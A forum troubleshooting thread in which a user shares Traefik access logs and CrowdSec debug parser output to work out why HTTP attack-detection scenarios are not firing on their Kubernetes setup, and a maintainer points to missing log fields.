/ HTTP/1.1" 200 4646 "-" "-" 17625 "frigg-public-routes-22735e324d6d7eb80733@kubernetescrd" "http://10.42.1.239:80" 18ms<14>1 2021-12-12T16:43:48.697812Z windell traefik traefik-9f79b8c4c-mlvlm - [kubernetes pod_name="traefik-9f79b8c4c-mlvlm" namespace_name="kube-system" pod_id="7818a1e6-eacd-476e-b6e0-e39d82f0432b" host="windell" container_name="traefik" docker_id="ee98498d62970b7ae9c8d91baca7bf5558922c5da490113b814883601a0306bd" container_hash="docker.io/library/traefik@sha256:ea0aa8832bfd08369166baecd40b35fc58979df8f5dc5182e4e63ee6adbe66db" container_image="docker.io/library/traefik:2.2.11"] 194.34.132.19 - - [12/Dec/2021:16:43:48 +0000] "GET / HTTP/1.1" 200 4646 "-" "-" 17626 "frigg-public-routes-22735e324d6d7eb80733@kubernetescrd" "http://10.42.1.239:80" 18ms<14>1 2021-12-12T16:43:48.796526Z windell traefik traefik-9f79b8c4c-mlvlm - [kubernetes pod_name="traefik-9f79b8c4c-mlvlm" namespace_name="kube-system" pod_id="7818a1e6-eacd-476e-b6e0-e39d82f0432b" host="windell" container_name="traefik" docker_id="ee98498d62970b7ae9c8d91baca7bf5558922c5da490113b814883601a0306bd" container_hash="docker.io/library/traefik@sha256:ea0aa8832bfd08369166baecd40b35fc58979df8f5dc5182e4e63ee6adbe66db" container_image="docker.io/library/traefik:2.2.11"] 194.34.132.19 - - [12/Dec/2021:16:43:48 +0000] "GET / HTTP/1.1" 200 4646 "-" "-" 17627 "frigg-public-routes-22735e324d6d7eb80733@kubernetescrd" "http://10.42.1.239:80" 18ms<14>1 2021-12-12T16:43:48.894455Z windell traefik traefik-9f79b8c4c-mlvlm - [kubernetes pod_name="traefik-9f79b8c4c-mlvlm" namespace_name="kube-system" pod_id="7818a1e6-eacd-476e-b6e0-e39d82f0432b" host="windell" container_name="traefik" docker_id="ee98498d62970b7ae9c8d91baca7bf5558922c5da490113b814883601a0306bd" container_hash="docker.io/library/traefik@sha256:ea0aa8832bfd08369166baecd40b35fc58979df8f5dc5182e4e63ee6adbe66db" container_image="docker.io/library/traefik:2.2.11"] 194.34.132.19 - - [12/Dec/2021:16:43:48 +0000] "GET / HTTP/1.1" 200 4646 "-" "-" 17628 "frigg-public-routes-22735e324d6d7eb80733@kubernetescrd" "http://10.42.1.239:80" 17ms<14>1 2021-12-12T16:43:48.959838Z windell traefik traefik-9f79b8c4c-mlvlm - [kubernetes pod_name="traefik-9f79b8c4c-mlvlm" namespace_name="kube-system" pod_id="7818a1e6-eacd-476e-b6e0-e39d82f0432b" host="windell" container_name="traefik" docker_id="ee98498d62970b7ae9c8d91baca7bf5558922c5da490113b814883601a0306bd" container_hash="docker.io/library/traefik@sha256:ea0aa8832bfd08369166baecd40b35fc58979df8f5dc5182e4e63ee6adbe66db" container_image="docker.io/library/traefik:2.2.11"] 10.42.1.1 - - [12/Dec/2021:16:43:48 +0000] "GET /ping HTTP/1.1" 200 2 "-" "-" 17629 "ping@internal" "-" 0ms

he2ss · December 13, 2021, 2:36pm

Hi @fbonalair,

Your logs seems to lack of some additional data, like the HTTP code, the user-agent, the referer etc.
Without those informations, most of the http scenarios can’t be triggered.

And to be sure about the logs receive from crowdsec, you can enable the DEBUG on the traefik-logs parsers just to retreive log samples, and provide it here please.

fbonalair · December 19, 2021, 12:13pm

Thanks for your reply.
I haven’t touched traefik log system, so they must be in the default state. What are all the minimum information needed? Maybe I can configure traefik’ logs to have them.

In the config, I’ve put the server.log_level and common.log_level to debug. Here are some container logs while wapiti is running:

time="19-12-2021 12:43:07" level=debug msg="Event leaving node : ko (failed filter)" id=shy-firefly name=crowdsecurity/docker-logs stage=s00-raw
time="19-12-2021 12:43:07" level=debug msg="+ Grok 'SYSLOGLINE' returned 8 entries to merge in Parsed" id=red-rain name=crowdsecurity/syslog-logs stage=s00-raw
time="19-12-2021 12:43:07" level=debug msg="\t.Parsed['pid'] = '1'" id=red-rain name=crowdsecurity/syslog-logs stage=s00-raw
time="19-12-2021 12:43:07" level=debug msg="\t.Parsed['timestamp'] = 'Dec 19 11:43:06'" id=red-rain name=crowdsecurity/syslog-logs stage=s00-raw
time="19-12-2021 12:43:07" level=debug msg="\t.Parsed['timestamp8601'] = ''" id=red-rain name=crowdsecurity/syslog-logs stage=s00-raw
time="19-12-2021 12:43:07" level=debug msg="\t.Parsed['message'] = '\ufeff194.34.132.19 - - [19/Dec/2021:11:43:06 +0000] \"GET / HTTP/1.1\" 200 4646 \"-\" \"-\" 138052 \"frigg-public-routes-22735e324d6d7eb80733@kubernetescrd\" \"http://10.42.1.239:80\" 448ms'" id=red-rain name=crowdsecurity/syslog-logs stage=s00-raw
time="19-12-2021 12:43:07" level=debug msg="\t.Parsed['facility'] = ''" id=red-rain name=crowdsecurity/syslog-logs stage=s00-raw
time="19-12-2021 12:43:07" level=debug msg="\t.Parsed['priority'] = ''" id=red-rain name=crowdsecurity/syslog-logs stage=s00-raw
time="19-12-2021 12:43:07" level=debug msg="\t.Parsed['logsource'] = 'windell'" id=red-rain name=crowdsecurity/syslog-logs stage=s00-raw
time="19-12-2021 12:43:07" level=debug msg="\t.Parsed['program'] = 'traefik'" id=red-rain name=crowdsecurity/syslog-logs stage=s00-raw
time="19-12-2021 12:43:07" level=debug msg="+ Processing 6 statics" id=red-rain name=crowdsecurity/syslog-logs stage=s00-raw
time="19-12-2021 12:43:07" level=debug msg=".Meta[machine] = 'windell'" id=red-rain name=crowdsecurity/syslog-logs stage=s00-raw
time="19-12-2021 12:43:07" level=debug msg=".Parsed[logsource] = 'syslog'" id=red-rain name=crowdsecurity/syslog-logs stage=s00-raw
time="19-12-2021 12:43:07" level=debug msg="setting target StrTime to Dec 19 11:43:06"
time="19-12-2021 12:43:07" level=debug msg="evt.StrTime = 'Dec 19 11:43:06'" id=red-rain name=crowdsecurity/syslog-logs stage=s00-raw
time="19-12-2021 12:43:07" level=debug msg="Empty value for evt.StrTime, skip." id=red-rain name=crowdsecurity/syslog-logs stage=s00-raw
time="19-12-2021 12:43:07" level=debug msg=".Meta[datasource_path] = '10.42.1.94'" id=red-rain name=crowdsecurity/syslog-logs stage=s00-raw
time="19-12-2021 12:43:07" level=debug msg=".Meta[datasource_type] = 'syslog'" id=red-rain name=crowdsecurity/syslog-logs stage=s00-raw
time="19-12-2021 12:43:07" level=debug msg="Event leaving node : ok" id=red-rain name=crowdsecurity/syslog-logs stage=s00-raw
time="19-12-2021 12:43:07" level=debug msg="move Event from stage s00-raw to s01-parse" id=red-rain name=crowdsecurity/syslog-logs stage=s00-raw
time="19-12-2021 12:43:07" level=debug msg="node successful, stop end stage s00-raw" node-name=red-rain stage=s00-raw
time="19-12-2021 12:43:07" level=debug msg="Event leaving node : ko (failed filter)" id=cool-dream name=crowdsecurity/sshd-logs stage=s01-parse
time="19-12-2021 12:43:07" level=debug msg="+ Grok '%{NGI...' returned 15 entries to merge in Parsed" id=hidden-bird name=child-crowdsecurity/traefik-logs stage=s01-parse
time="19-12-2021 12:43:07" level=debug msg="\t.Parsed['traefik_server_url'] = 'http://10.42.1.239:80'" id=hidden-bird name=child-crowdsecurity/traefik-logs stage=s01-parse
time="19-12-2021 12:43:07" level=debug msg="\t.Parsed['remote_addr'] = '194.34.132.19'" id=hidden-bird name=child-crowdsecurity/traefik-logs stage=s01-parse
time="19-12-2021 12:43:07" level=debug msg="\t.Parsed['request'] = '/'" id=hidden-bird name=child-crowdsecurity/traefik-logs stage=s01-parse
time="19-12-2021 12:43:07" level=debug msg="\t.Parsed['time_local'] = '19/Dec/2021:11:43:06 +0000'" id=hidden-bird name=child-crowdsecurity/traefik-logs stage=s01-parse
time="19-12-2021 12:43:07" level=debug msg="\t.Parsed['http_user_agent'] = '-'" id=hidden-bird name=child-crowdsecurity/traefik-logs stage=s01-parse
time="19-12-2021 12:43:07" level=debug msg="\t.Parsed['port'] = '80'" id=hidden-bird name=child-crowdsecurity/traefik-logs stage=s01-parse
time="19-12-2021 12:43:07" level=debug msg="\t.Parsed['remote_user'] = '-'" id=hidden-bird name=child-crowdsecurity/traefik-logs stage=s01-parse
time="19-12-2021 12:43:07" level=debug msg="\t.Parsed['http_referer'] = '-'" id=hidden-bird name=child-crowdsecurity/traefik-logs stage=s01-parse
time="19-12-2021 12:43:07" level=debug msg="\t.Parsed['traefik_router_name'] = 'frigg-public-routes-22735e324d6d7eb80733@kubernetescrd'" id=hidden-bird name=child-crowdsecurity/traefik-logs stage=s01-parse
time="19-12-2021 12:43:07" level=debug msg="\t.Parsed['method'] = 'GET'" id=hidden-bird name=child-crowdsecurity/traefik-logs stage=s01-parse
time="19-12-2021 12:43:07" level=debug msg="\t.Parsed['status'] = '200'" id=hidden-bird name=child-crowdsecurity/traefik-logs stage=s01-parse
time="19-12-2021 12:43:07" level=debug msg="\t.Parsed['request_duration_in_ms'] = '448'" id=hidden-bird name=child-crowdsecurity/traefik-logs stage=s01-parse
time="19-12-2021 12:43:07" level=debug msg="\t.Parsed['body_bytes_sent'] = '4646'" id=hidden-bird name=child-crowdsecurity/traefik-logs stage=s01-parse
time="19-12-2021 12:43:07" level=debug msg="\t.Parsed['number_of_requests_received_since_traefik_started'] = '138052'" id=hidden-bird name=child-crowdsecurity/traefik-logs stage=s01-parse
time="19-12-2021 12:43:07" level=debug msg="\t.Parsed['http_version'] = '1.1'" id=hidden-bird name=child-crowdsecurity/traefik-logs stage=s01-parse
time="19-12-2021 12:43:07" level=debug msg="Event leaving node : ok" id=hidden-bird name=child-crowdsecurity/traefik-logs stage=s01-parse
time="19-12-2021 12:43:07" level=debug msg="move Event from stage s01-parse to s02-enrich" id=hidden-bird name=child-crowdsecurity/traefik-logs stage=s01-parse
time="19-12-2021 12:43:07" level=debug msg="child is success, OnSuccess=next_stage, skip" id=floral-leaf name=crowdsecurity/traefik-logs stage=s01-parse
time="19-12-2021 12:43:07" level=debug msg="+ Processing 7 statics" id=floral-leaf name=crowdsecurity/traefik-logs stage=s01-parse
time="19-12-2021 12:43:07" level=debug msg=".Meta[service] = 'http'" id=floral-leaf name=crowdsecurity/traefik-logs stage=s01-parse
time="19-12-2021 12:43:07" level=debug msg=".Meta[http_status] = '200'" id=floral-leaf name=crowdsecurity/traefik-logs stage=s01-parse
time="19-12-2021 12:43:07" level=debug msg=".Meta[http_path] = '/'" id=floral-leaf name=crowdsecurity/traefik-logs stage=s01-parse
time="19-12-2021 12:43:07" level=debug msg=".Meta[user] = '-'" id=floral-leaf name=crowdsecurity/traefik-logs stage=s01-parse
time="19-12-2021 12:43:07" level=debug msg=".Meta[source_ip] = '194.34.132.19'" id=floral-leaf name=crowdsecurity/traefik-logs stage=s01-parse
time="19-12-2021 12:43:07" level=debug msg=".Meta[log_type] = 'http_access-log'" id=floral-leaf name=crowdsecurity/traefik-logs stage=s01-parse
time="19-12-2021 12:43:07" level=debug msg="setting target StrTime to 19/Dec/2021:11:43:06 +0000"
time="19-12-2021 12:43:07" level=debug msg="evt.StrTime = '19/Dec/2021:11:43:06 +0000'" id=floral-leaf name=crowdsecurity/traefik-logs stage=s01-parse
time="19-12-2021 12:43:07" level=debug msg="Event leaving node : ok" id=floral-leaf name=crowdsecurity/traefik-logs stage=s01-parse
time="19-12-2021 12:43:07" level=debug msg="node reached the last stage : s02-enrich" id=floral-leaf name=crowdsecurity/traefik-logs stage=s01-parse
time="19-12-2021 12:43:07" level=debug msg="node successful, stop end stage s01-parse" node-name=floral-leaf stage=s01-parse
time="19-12-2021 12:43:07" level=debug msg="+ Processing 2 statics" id=dry-leaf name=crowdsecurity/dateparse-enrich stage=s02-enrich
time="19-12-2021 12:43:07" level=debug msg="+ Method ParseDate('19/Dec/2021:11:43:06 +0000') returned 1 entries to merge in .Enriched\n" id=dry-leaf name=crowdsecurity/dateparse-enrich stage=s02-enrich
time="19-12-2021 12:43:07" level=debug msg="\t.Enriched[MarshaledTime] = '2021-12-19T11:43:06Z'\n" id=dry-leaf name=crowdsecurity/dateparse-enrich stage=s02-enrich
time="19-12-2021 12:43:07" level=debug msg="setting target MarshaledTime to 2021-12-19T11:43:06Z"
time="19-12-2021 12:43:07" level=debug msg="MarshaledTime = '2021-12-19T11:43:06Z'" id=dry-leaf name=crowdsecurity/dateparse-enrich stage=s02-enrich
time="19-12-2021 12:43:07" level=debug msg="Event leaving node : ok" id=dry-leaf name=crowdsecurity/dateparse-enrich stage=s02-enrich
time="19-12-2021 12:43:07" level=debug msg="+ Processing 9 statics" id=wispy-sun name=crowdsecurity/geoip-enrich stage=s02-enrich
time="19-12-2021 12:43:07" level=debug msg="+ Method GeoIpCity('194.34.132.19') returned 4 entries to merge in .Enriched\n" id=wispy-sun name=crowdsecurity/geoip-enrich stage=s02-enrich
time="19-12-2021 12:43:07" level=debug msg="\t.Enriched[IsoCode] = ''\n" id=wispy-sun name=crowdsecurity/geoip-enrich stage=s02-enrich
time="19-12-2021 12:43:07" level=debug msg="\t.Enriched[IsInEU] = 'false'\n" id=wispy-sun name=crowdsecurity/geoip-enrich stage=s02-enrich
time="19-12-2021 12:43:07" level=debug msg="\t.Enriched[Latitude] = '0.000000'\n" id=wispy-sun name=crowdsecurity/geoip-enrich stage=s02-enrich
time="19-12-2021 12:43:07" level=debug msg="\t.Enriched[Longitude] = '0.000000'\n" id=wispy-sun name=crowdsecurity/geoip-enrich stage=s02-enrich
time="19-12-2021 12:43:07" level=debug msg="Empty value for .Meta[IsoCode], skip." id=wispy-sun name=crowdsecurity/geoip-enrich stage=s02-enrich
time="19-12-2021 12:43:07" level=debug msg=".Meta[IsInEU] = 'false'" id=wispy-sun name=crowdsecurity/geoip-enrich stage=s02-enrich
time="19-12-2021 12:43:07" level=debug msg="Empty value for .Meta[GeoCoords], skip." id=wispy-sun name=crowdsecurity/geoip-enrich stage=s02-enrich
time="19-12-2021 12:43:07" level=debug msg="+ Method GeoIpASN('194.34.132.19') returned 3 entries to merge in .Enriched\n" id=wispy-sun name=crowdsecurity/geoip-enrich stage=s02-enrich
time="19-12-2021 12:43:07" level=debug msg="\t.Enriched[ASNNumber] = '0'\n" id=wispy-sun name=crowdsecurity/geoip-enrich stage=s02-enrich
time="19-12-2021 12:43:07" level=debug msg="\t.Enriched[ASNumber] = '0'\n" id=wispy-sun name=crowdsecurity/geoip-enrich stage=s02-enrich
time="19-12-2021 12:43:07" level=debug msg="\t.Enriched[ASNOrg] = ''\n" id=wispy-sun name=crowdsecurity/geoip-enrich stage=s02-enrich
time="19-12-2021 12:43:07" level=debug msg=".Meta[ASNNumber] = '0'" id=wispy-sun name=crowdsecurity/geoip-enrich stage=s02-enrich
time="19-12-2021 12:43:07" level=debug msg="Empty value for .Meta[ASNOrg], skip." id=wispy-sun name=crowdsecurity/geoip-enrich stage=s02-enrich
time="19-12-2021 12:43:07" level=debug msg="Unable to find range of 194.34.132.19"
time="19-12-2021 12:43:07" level=debug msg="+ Method IpToRange('194.34.132.19') returned 0 entries to merge in .Enriched\n" id=wispy-sun name=crowdsecurity/geoip-enrich stage=s02-enrich
time="19-12-2021 12:43:07" level=debug msg="+ Method 'IpToRange' empty response on '194.34.132.19'" id=wispy-sun name=crowdsecurity/geoip-enrich stage=s02-enrich
time="19-12-2021 12:43:07" level=debug msg="Empty value for .Meta[SourceRange], skip." id=wispy-sun name=crowdsecurity/geoip-enrich stage=s02-enrich
time="19-12-2021 12:43:07" level=debug msg="Event leaving node : ok" id=wispy-sun name=crowdsecurity/geoip-enrich stage=s02-enrich
time="19-12-2021 12:43:07" level=debug msg="+ Processing 2 statics" id=shy-shadow name=child-crowdsecurity/http-logs stage=s02-enrich
time="19-12-2021 12:43:07" level=debug msg=".Parsed[impact_completion] = 'true'" id=shy-shadow name=child-crowdsecurity/http-logs stage=s02-enrich
time="19-12-2021 12:43:07" level=debug msg="setting target Parsed.static_ressource to false"
time="19-12-2021 12:43:07" level=debug msg="map entry is zero in 'Parsed.static_ressource'"
time="19-12-2021 12:43:07" level=debug msg="evt.Parsed.static_ressource = 'false'" id=shy-shadow name=child-crowdsecurity/http-logs stage=s02-enrich
time="19-12-2021 12:43:07" level=debug msg="Event leaving node : ok" id=shy-shadow name=child-crowdsecurity/http-logs stage=s02-enrich
time="19-12-2021 12:43:07" level=debug msg="+ Grok '^%{GR...' didn't return data on '/'" id=divine-snowflake name=child-crowdsecurity/http-logs stage=s02-enrich
time="19-12-2021 12:43:07" level=debug msg="Event leaving node : ko" id=divine-snowflake name=child-crowdsecurity/http-logs stage=s02-enrich
time="19-12-2021 12:43:07" level=debug msg="+ Grok '%{DIR...' didn't return data on '/'" id=green-cloud name=child-crowdsecurity/http-logs stage=s02-enrich
time="19-12-2021 12:43:07" level=debug msg="Event leaving node : ko" id=green-cloud name=child-crowdsecurity/http-logs stage=s02-enrich
time="19-12-2021 12:43:07" level=debug msg="Event leaving node : ko" id=proud-hill name=crowdsecurity/http-logs stage=s02-enrich
time="19-12-2021 12:43:07" level=debug msg="Event leaving node : ok" id=throbbing-dream name=crowdsecurity/whitelists stage=s02-enrich
time="19-12-2021 12:43:07" level=debug msg="Event leaving node : ko (filter mismatch)" cfg=aged-mountain file=/etc/crowdsec/scenarios/ssh-bf.yaml name=crowdsecurity/ssh-bf
time="19-12-2021 12:43:07" level=debug msg="Event leaving node : ko (filter mismatch)" cfg=dark-waterfall file=/etc/crowdsec/scenarios/ssh-bf.yaml name=crowdsecurity/ssh-bf_user-enum
time="19-12-2021 12:43:07" level=debug msg="Event leaving node : ko (filter mismatch)" cfg=wandering-dew file=/etc/crowdsec/scenarios/http-w00tw00t.yaml name=ltsich/http-w00tw00t
time="19-12-2021 12:43:07" level=debug msg="Event leaving node : ko (filter mismatch)" cfg=sparkling-snowflake file=/etc/crowdsec/scenarios/http-sqli-probing.yaml name=crowdsecurity/http-sqli-probbing-detection
time="19-12-2021 12:43:07" level=debug msg="Event leaving node : ko (filter mismatch)" cfg=winter-sunset file=/etc/crowdsec/scenarios/http-backdoors-attempts.yaml name=crowdsecurity/http-backdoors-attempts
time="19-12-2021 12:43:07" level=debug msg="Event leaving node : ko (filter mismatch)" cfg=polished-hill file=/etc/crowdsec/scenarios/http-path-traversal-probing.yaml name=crowdsecurity/http-path-traversal-probing
time="19-12-2021 12:43:07" level=debug msg="Event leaving node : ko (filter mismatch)" cfg=delicate-water file=/etc/crowdsec/scenarios/ssh-slow-bf.yaml name=crowdsecurity/ssh-slow-bf
time="19-12-2021 12:43:07" level=debug msg="Event leaving node : ko (filter mismatch)" cfg=muddy-grass file=/etc/crowdsec/scenarios/ssh-slow-bf.yaml name=crowdsecurity/ssh-slow-bf_user-enum
time="19-12-2021 12:43:07" level=debug msg="Event leaving node : ko (filter mismatch)" cfg=small-bush file=/etc/crowdsec/scenarios/http-xss-probing.yaml name=crowdsecurity/http-xss-probbing
time="19-12-2021 12:43:07" level=debug msg="bucket 'crowdsecurity/http-crawl-non_statics' is poured" cfg=rough-moon file=/etc/crowdsec/scenarios/http-crawl-non_statics.yaml name=crowdsecurity/http-crawl-non_statics
time="19-12-2021 12:43:07" level=debug msg="Event leaving node : ko (filter mismatch)" cfg=red-surf file=/etc/crowdsec/scenarios/http-open-proxy.yaml name=crowdsecurity/http-open-proxy
time="19-12-2021 12:43:07" level=debug msg="Uniq() : ko, discard event" bucket_id=lingering-snowflake capacity=40 cfg=rough-moon file=/etc/crowdsec/scenarios/http-crawl-non_statics.yaml name=crowdsecurity/http-crawl-non_statics partition=92c1f2ff93e317ce6990625716be859d84d1b677
time="19-12-2021 12:43:07" level=debug msg="Event leaving node : ko (filter mismatch)" cfg=frosty-water file=/etc/crowdsec/scenarios/http-bad-user-agent.yaml name=crowdsecurity/http-bad-user-agent
time="19-12-2021 12:43:07" level=debug msg="Event leaving node : ko (filter mismatch)" cfg=damp-dew file=/etc/crowdsec/scenarios/http-generic-bf.yaml name=crowdsecurity/http-generic-bf
time="19-12-2021 12:43:07" level=debug msg="Event leaving node : ko (filter mismatch)" cfg=nameless-resonance file=/etc/crowdsec/scenarios/http-probing.yaml name=crowdsecurity/http-probing
time="19-12-2021 12:43:07" level=debug msg="Event leaving node : ko (filter mismatch)" cfg=winter-shadow file=/etc/crowdsec/scenarios/http-sensitive-files.yaml name=crowdsecurity/http-sensitive-files
time="19-12-2021 12:43:07" level=info msg="10.42.1.231 - [Sun, 19 Dec 2021 12:43:07 CET] \"GET /v1/decisions?type=ban&ip=194.34.132.19 HTTP/1.1 200 9.785797ms \"Go-http-client/1.1\" \""
time="19-12-2021 12:43:07" level=info msg="10.42.1.231 - [Sun, 19 Dec 2021 12:43:07 CET] \"GET /v1/decisions?type=ban&ip=194.34.132.19 HTTP/1.1 200 9.757519ms \"Go-http-client/1.1\" \""
time="19-12-2021 12:43:08" level=debug msg="Event leaving node : ko (failed filter)" id=shy-firefly name=crowdsecurity/docker-logs stage=s00-raw
time="19-12-2021 12:43:08" level=debug msg="+ Grok 'SYSLOGLINE' returned 8 entries to merge in Parsed" id=red-rain name=crowdsecurity/syslog-logs stage=s00-raw
time="19-12-2021 12:43:08" level=debug msg="\t.Parsed['message'] = '\ufeff194.34.132.19 - - [19/Dec/2021:11:43:06 +0000] \"GET / HTTP/1.1\" 200 4646 \"-\" \"-\" 138053 \"frigg-public-routes-22735e324d6d7eb80733@kubernetescrd\" \"http://10.42.1.239:80\" 511ms'" id=red-rain name=crowdsecurity/syslog-logs stage=s00-raw
time="19-12-2021 12:43:08" level=debug msg="\t.Parsed['facility'] = ''" id=red-rain name=crowdsecurity/syslog-logs stage=s00-raw
time="19-12-2021 12:43:08" level=debug msg="\t.Parsed['priority'] = ''" id=red-rain name=crowdsecurity/syslog-logs stage=s00-raw
time="19-12-2021 12:43:08" level=debug msg="\t.Parsed['logsource'] = 'windell'" id=red-rain name=crowdsecurity/syslog-logs stage=s00-raw
time="19-12-2021 12:43:08" level=debug msg="\t.Parsed['program'] = 'traefik'" id=red-rain name=crowdsecurity/syslog-logs stage=s00-raw
time="19-12-2021 12:43:08" level=debug msg="\t.Parsed['pid'] = '1'" id=red-rain name=crowdsecurity/syslog-logs stage=s00-raw
time="19-12-2021 12:43:08" level=debug msg="\t.Parsed['timestamp'] = 'Dec 19 11:43:07'" id=red-rain name=crowdsecurity/syslog-logs stage=s00-raw
time="19-12-2021 12:43:08" level=debug msg="\t.Parsed['timestamp8601'] = ''" id=red-rain name=crowdsecurity/syslog-logs stage=s00-raw
time="19-12-2021 12:43:08" level=debug msg="+ Processing 6 statics" id=red-rain name=crowdsecurity/syslog-logs stage=s00-raw
time="19-12-2021 12:43:08" level=debug msg=".Meta[machine] = 'windell'" id=red-rain name=crowdsecurity/syslog-logs stage=s00-raw
time="19-12-2021 12:43:08" level=debug msg=".Parsed[logsource] = 'syslog'" id=red-rain name=crowdsecurity/syslog-logs stage=s00-raw
time="19-12-2021 12:43:08" level=debug msg="setting target StrTime to Dec 19 11:43:07"
time="19-12-2021 12:43:08" level=debug msg="evt.StrTime = 'Dec 19 11:43:07'" id=red-rain name=crowdsecurity/syslog-logs stage=s00-raw
time="19-12-2021 12:43:08" level=debug msg="Empty value for evt.StrTime, skip." id=red-rain name=crowdsecurity/syslog-logs stage=s00-raw
time="19-12-2021 12:43:08" level=debug msg=".Meta[datasource_path] = '10.42.1.94'" id=red-rain name=crowdsecurity/syslog-logs stage=s00-raw
time="19-12-2021 12:43:08" level=debug msg=".Meta[datasource_type] = 'syslog'" id=red-rain name=crowdsecurity/syslog-logs stage=s00-raw
time="19-12-2021 12:43:08" level=debug msg="Event leaving node : ok" id=red-rain name=crowdsecurity/syslog-logs stage=s00-raw
time="19-12-2021 12:43:08" level=debug msg="move Event from stage s00-raw to s01-parse" id=red-rain name=crowdsecurity/syslog-logs stage=s00-raw
time="19-12-2021 12:43:08" level=debug msg="node successful, stop end stage s00-raw" node-name=red-rain stage=s00-raw
time="19-12-2021 12:43:08" level=debug msg="Event leaving node : ko (failed filter)" id=cool-dream name=crowdsecurity/sshd-logs stage=s01-parse
time="19-12-2021 12:43:08" level=debug msg="+ Grok '%{NGI...' returned 15 entries to merge in Parsed" id=hidden-bird name=child-crowdsecurity/traefik-logs stage=s01-parse
time="19-12-2021 12:43:08" level=debug msg="\t.Parsed['http_version'] = '1.1'" id=hidden-bird name=child-crowdsecurity/traefik-logs stage=s01-parse
time="19-12-2021 12:43:08" level=debug msg="\t.Parsed['http_referer'] = '-'" id=hidden-bird name=child-crowdsecurity/traefik-logs stage=s01-parse
time="19-12-2021 12:43:08" level=debug msg="\t.Parsed['time_local'] = '19/Dec/2021:11:43:06 +0000'" id=hidden-bird name=child-crowdsecurity/traefik-logs stage=s01-parse
time="19-12-2021 12:43:08" level=debug msg="\t.Parsed['traefik_server_url'] = 'http://10.42.1.239:80'" id=hidden-bird name=child-crowdsecurity/traefik-logs stage=s01-parse
time="19-12-2021 12:43:08" level=debug msg="\t.Parsed['port'] = '80'" id=hidden-bird name=child-crowdsecurity/traefik-logs stage=s01-parse
time="19-12-2021 12:43:08" level=debug msg="\t.Parsed['request'] = '/'" id=hidden-bird name=child-crowdsecurity/traefik-logs stage=s01-parse
time="19-12-2021 12:43:08" level=debug msg="\t.Parsed['remote_user'] = '-'" id=hidden-bird name=child-crowdsecurity/traefik-logs stage=s01-parse
time="19-12-2021 12:43:08" level=debug msg="\t.Parsed['remote_addr'] = '194.34.132.19'" id=hidden-bird name=child-crowdsecurity/traefik-logs stage=s01-parse
time="19-12-2021 12:43:08" level=debug msg="\t.Parsed['method'] = 'GET'" id=hidden-bird name=child-crowdsecurity/traefik-logs stage=s01-parse
time="19-12-2021 12:43:08" level=debug msg="\t.Parsed['body_bytes_sent'] = '4646'" id=hidden-bird name=child-crowdsecurity/traefik-logs stage=s01-parse
time="19-12-2021 12:43:08" level=debug msg="\t.Parsed['number_of_requests_received_since_traefik_started'] = '138053'" id=hidden-bird name=child-crowdsecurity/traefik-logs stage=s01-parse
time="19-12-2021 12:43:08" level=debug msg="\t.Parsed['status'] = '200'" id=hidden-bird name=child-crowdsecurity/traefik-logs stage=s01-parse
time="19-12-2021 12:43:08" level=debug msg="\t.Parsed['http_user_agent'] = '-'" id=hidden-bird name=child-crowdsecurity/traefik-logs stage=s01-parse
time="19-12-2021 12:43:08" level=debug msg="\t.Parsed['traefik_router_name'] = 'frigg-public-routes-22735e324d6d7eb80733@kubernetescrd'" id=hidden-bird name=child-crowdsecurity/traefik-logs stage=s01-parse
time="19-12-2021 12:43:08" level=debug msg="\t.Parsed['request_duration_in_ms'] = '511'" id=hidden-bird name=child-crowdsecurity/traefik-logs stage=s01-parse
time="19-12-2021 12:43:08" level=debug msg="Event leaving node : ok" id=hidden-bird name=child-crowdsecurity/traefik-logs stage=s01-parse
time="19-12-2021 12:43:08" level=debug msg="move Event from stage s01-parse to s02-enrich" id=hidden-bird name=child-crowdsecurity/traefik-logs stage=s01-parse
time="19-12-2021 12:43:08" level=debug msg="child is success, OnSuccess=next_stage, skip" id=floral-leaf name=crowdsecurity/traefik-logs stage=s01-parse
time="19-12-2021 12:43:08" level=debug msg="+ Processing 7 statics" id=floral-leaf name=crowdsecurity/traefik-logs stage=s01-parse
time="19-12-2021 12:43:08" level=debug msg=".Meta[service] = 'http'" id=floral-leaf name=crowdsecurity/traefik-logs stage=s01-parse
time="19-12-2021 12:43:08" level=debug msg=".Meta[http_status] = '200'" id=floral-leaf name=crowdsecurity/traefik-logs stage=s01-parse
time="19-12-2021 12:43:08" level=debug msg=".Meta[http_path] = '/'" id=floral-leaf name=crowdsecurity/traefik-logs stage=s01-parse
time="19-12-2021 12:43:08" level=debug msg=".Meta[user] = '-'" id=floral-leaf name=crowdsecurity/traefik-logs stage=s01-parse
time="19-12-2021 12:43:08" level=debug msg=".Meta[source_ip] = '194.34.132.19'" id=floral-leaf name=crowdsecurity/traefik-logs stage=s01-parse
time="19-12-2021 12:43:08" level=debug msg=".Meta[log_type] = 'http_access-log'" id=floral-leaf name=crowdsecurity/traefik-logs stage=s01-parse
time="19-12-2021 12:43:08" level=debug msg="setting target StrTime to 19/Dec/2021:11:43:06 +0000"
time="19-12-2021 12:43:08" level=debug msg="evt.StrTime = '19/Dec/2021:11:43:06 +0000'" id=floral-leaf name=crowdsecurity/traefik-logs stage=s01-parse
time="19-12-2021 12:43:08" level=debug msg="Event leaving node : ok" id=floral-leaf name=crowdsecurity/traefik-logs stage=s01-parse
time="19-12-2021 12:43:08" level=debug msg="node reached the last stage : s02-enrich" id=floral-leaf name=crowdsecurity/traefik-logs stage=s01-parse
time="19-12-2021 12:43:08" level=debug msg="node successful, stop end stage s01-parse" node-name=floral-leaf stage=s01-parse
time="19-12-2021 12:43:08" level=debug msg="+ Processing 2 statics" id=dry-leaf name=crowdsecurity/dateparse-enrich stage=s02-enrich
time="19-12-2021 12:43:08" level=debug msg="+ Method ParseDate('19/Dec/2021:11:43:06 +0000') returned 1 entries to merge in .Enriched\n" id=dry-leaf name=crowdsecurity/dateparse-enrich stage=s02-enrich
time="19-12-2021 12:43:08" level=debug msg="\t.Enriched[MarshaledTime] = '2021-12-19T11:43:06Z'\n" id=dry-leaf name=crowdsecurity/dateparse-enrich stage=s02-enrich
time="19-12-2021 12:43:08" level=debug msg="setting target MarshaledTime to 2021-12-19T11:43:06Z"
time="19-12-2021 12:43:08" level=debug msg="MarshaledTime = '2021-12-19T11:43:06Z'" id=dry-leaf name=crowdsecurity/dateparse-enrich stage=s02-enrich
time="19-12-2021 12:43:08" level=debug msg="Event leaving node : ok" id=dry-leaf name=crowdsecurity/dateparse-enrich stage=s02-enrich
time="19-12-2021 12:43:08" level=debug msg="+ Processing 9 statics" id=wispy-sun name=crowdsecurity/geoip-enrich stage=s02-enrich
